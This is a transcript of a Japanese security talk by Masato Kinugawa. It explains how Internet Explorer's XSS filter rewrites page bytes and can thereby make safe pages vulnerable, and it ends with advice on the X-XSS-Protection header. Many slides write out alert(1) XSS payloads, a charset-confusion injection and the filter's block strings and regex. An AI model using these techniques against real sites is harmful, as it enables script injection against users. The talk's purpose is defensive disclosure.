XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
Transcript of XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
X-XSS-Nightmare: 1; mode=attack
XSS フィルターを利用した XSS 攻撃
( 自重版 )Masato Kinugawa
自己紹介
Masato Kinugawa
自己紹介
Masato Kinugawaxs
自己紹介
Masato Kinugawaxs
BHunter
バグハンターの愉しみ
自己紹介
話すこと
IE の XSS フィルターを使って
❶XSS する手法 ❷XSS フィルターをバイパスする手法
話すこと
IE の XSS フィルターを使って
❶XSS する手法 ❷XSS フィルターをバイパスする手法
ごめんなさい、変更します!
話すこと
XSS フィルターがどういうものか
XSS フィルターとどう付き合うべきか
XSS フィルター
Internet Explorer 8 から導入 (2009)Chrome/Safari にも同様の機能
➡今回は IE のフィルターを取り上げる
IE の XSS フィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"></head><body>q param is: <img src=x onerror=alert(1)></body></html>
リクエストの値とレスポンスから、危険と判断される条件にマッチすればページを書き換える
遮断前
こんなふうに #
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"></head><body>q param is: <img src=x #nerror=alert(1)></body></html>
遮断後
リクエストの値とレスポンスから、危険と判断される条件にマッチすればページを書き換える
XSS フィルターの不正確さ条件にマッチすればユーザ入力の動的生成部と無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html><html><head><m#ta charset="utf-8"></head><body>q param is: AAA</body></html>
XSS フィルター導入後の世界
ページの一部が書き換えられる可能性をすべてのサイトが突然持つことになった
##
#
2008 2009
ちょっと変わるくらい
##
#
どうってことない?
➡どこか 1 バイト変わることがどういうことか考えてみよう!
http://example.com/?q=AAA
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="AAA".replace(/</g,'<');document.write(s);</script></body></html> 文字列リテラル内へ
ユーザ入力を動的生成
http://example.com/?q="/</script\
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="\"/<\/script\\".replace(/</g,'<');document.write(s);</script></body></html> XSS 対策も OK
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
<svg/onload=alert(1)>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
<svg/onload=alert(1)>
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="<svg/onload=alert(1)>".replace(/#/g,'<');document.write(s);</script></body></html>
<svg/onload=alert(1)>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</ti#le></head><body><script>s="</title><svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><script>s="さ \";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="さ \";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
UTF-8 の解釈
"さ \";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ \Shift_JI
S 縺 表
Shift_JIS の解釈
"縺表 ";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ \Shift_JI
S 縺 表
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="縺表 ";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html><html><head><m#ta charset="utf-8"><title>TEST</title></head><body><script>s="縺表 ";alert(1)//".replace(/</g,'<');document.write(s);</script></body></html>
つまり
1 バイトの変更すらリスキー
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
Universal XSS via IE8s XSS Filters
実際過去には
XSS フィルターの書き換えだってそう、慎重に行わないと逆に脆弱にもなる
Eduardo Vela Nava & David Lindsay
2015 : 今は大丈夫?
実際の遮断規則がどれほどのものかみてみよう!
XSS のないありふれた構造のページがXSS に脆弱になる複数のパターンを発見
大丈夫…ではなかった!
これはさておき
この件は適切に修正された後、公開予定
遮断規則特に文書化されていないブラウザにロードされる dll のバイナリに遮断文字列が正規表現で書かれているのが確認できる
<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href
<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\
<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href
<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\
<button value=<form><textarea><isindex><input value=<option value=<embed src=<embed type=<iframe src=<frame src=<x:vmlframe src=<link href=<import implementation=<meta http-equiv=<meta charset=<a href
<script src=<script xlink:href=<script href=<script><applet><object type=<object codetype=<object classid=<object code=<object data=<base href=<style>@i<style>:(<style>:\<style>=(<style>=\
<button va#ue=<fo#m><texta#ea><is#ndex><input va#ue=<option va#ue=<em#ed src=<em#ed type=<if#ame src=<f#ame src=<x:vmlf#ame src=<li#k href=<im#ort implementation=<m#ta http-equiv=<m#ta charset=<a hr#f
<script src=<script xlink:href=<script href=<script><ap#let><ob#ect type=<ob#ect codetype=<ob#ect classid=<ob#ect code=<ob#ect data=<ba#e href=<style>@i<style>:(<style>:\<style>=(<style>=\ 遮断後
<button va#ue=<fo#m><texta#ea><is#ndex><input va#ue=<option va#ue=<em#ed src=<em#ed type=<if#ame src=<f#ame src=<x:vmlf#ame src=<li#k href=<im#ort implementation=<m#ta http-equiv=<m#ta charset=<a hr#f
<script src=<script xlink:href=<script href=<script><ap#let><ob#ect type=<ob#ect codetype=<ob#ect classid=<ob#ect code=<ob#ect data=<ba#e href=<style>@i<style>:(<style>:\<style>=(<style>=\ 遮断後
http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html><html><head><meta charset="utf-8"><title>TEST</title></head><body><scr#pt>s="<svg/onload=alert(1)>".replace(/</g,'<');document.write(s);</script></body></html>
<a hr#f<m#ta charset=<li#k href=<script>
DEMO#❶
❷❸❹
感じてほしいこと
自サイトがどうなるかはフィルター次第
➡そんなのブラウザのバグ? ブラウザがなんとかしてくれよ?
常に安全にページを書き換えることができているとは言えない
そもそもあなたのページは
どこか一部分が壊れても耐え得る作りになっていると断言できる?
フィルターがやれること
最大限に配慮しながらページを書き換える
#
実のところ
意図的に誤検知を生じさせて、特定の機能を動作させないようにすることも、場合によっては可能です。 ( 略 ) XSSフィルタの作者が、この種の危険性を認識しつつも XSSフィルタを導入したのか(あるいはそうではないのか)、ちょっと興味があります。
ブラウザ側も危険性を認識した上で導入以下は 6 年前の寺田さんとはせがわさんのやりとり
T.Terada の日記よりhttp://d.hatena.ne.jp/teracc/2
0090622
実のところブラウザ側も危険性を認識した上で導入以下は 6 年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The answer is Yes. " だそうです。
はせがわさんのはてなブックマークのコメントより
➡Web 開発者が危険の面倒をみながら使えばいい?
面倒をみるとは
✔ XSS フィルターの遮断動作を全て把握✔ 部分的に書き換わっても安全に動作することを全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
つまり次を行うこと:
できそうですか?
遮断文字列の一例
javascript:1vbscript:1vbs:1
遮断文字列の一例
javasc#ipt:1v#script:1v#s:1
シンプル?
javascript: リンクの遮断の詳細{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}
javascript: リンクの遮断の詳細{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}
http://masatokinugawa.l0.cm/2012/09/xss3.html
これができるなら
✔ XSS フィルターの遮断動作を全て把握✔ 部分的に書き換わっても安全に動作することを全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
自分のサイトの XSS 全部潰せるのでは…➡じゃあどうするのがいいか?
X-XSS-Protectionヘッダ
値 効果
0 無効
1 有効( 部分的書き換え )
1;mode=block 有効( 表示の完全な停止 )
デフォルト
XSS保護機能を制御できるレスポンスヘッダ
Y
慎重な彼らはどうしている?
HTTP/2.0 200 OKDate: Mon, 19 Oct 2015 22:32:06 GMTContent-Type: text/html; charset=UTF-8Content-Encoding: gzipServer: gwsX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGIN...
HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/htmlDate: Mon, 19 Oct 2015 22:40:37 GMTx-content-type-options: nosniffX-Frame-Options: DENYX-XSS-Protection: 0...
ちゃっかり制御している!!
より安全を考えた選択
値 選択すべきサイト
0 基本的な XSS は対応している/ 誤検知をなくしたい
1 推奨しない( 発見した手法の影響を受けるのもココ )
1;mode=block
XSS がまだありそう/念のため保護も受けたい
default
X-XSS-Protection:0 か 1;mode=block
mode=block なら安全?
直接スクリプト実行に繋がることはないはずフィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できればページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で
Web 開発者の声
僕
開
1;mode=block に変更したらどうだろう?
Web 開発者の声
僕
開
1;mode=block に変更したらどうだろう?
遮断時の説明が不親切で、誤検知時のユーザ対応を考える
と厳しい…。
遮断時の説明が不親切
確かに…
Web 開発者の声
基本的な XSS 対策はできていると思うし、 X-XSS-Protection:0 にしては?
僕
開
Web 開発者の声
基本的な XSS 対策はできていると思うし、 X-XSS-Protection:0 にしては?
僕
製品動作を優先して不適切にセキュリティ機能を切っていると思われる可能性が。
開
XSS フィルターの罠
攻撃箇所だけ遮断して残りは表示してくれるのが一番スマートにみえてしまう
0 1 block
この動作がリスクそのもの
さいごに
まだ安全側に倒す余地はあるはずデフォルト動作が今のままで本当にいいのか遮断の原理上、リスクはつきもの
Web 開発者はその可能性を知ってほしいデフォルト動作以外で制御することを強く推奨
XSS フィルターの改善には期待したい
";alert#"Thanks!"#//
@kinugawamasatomasatokinugawa@gmail#c
om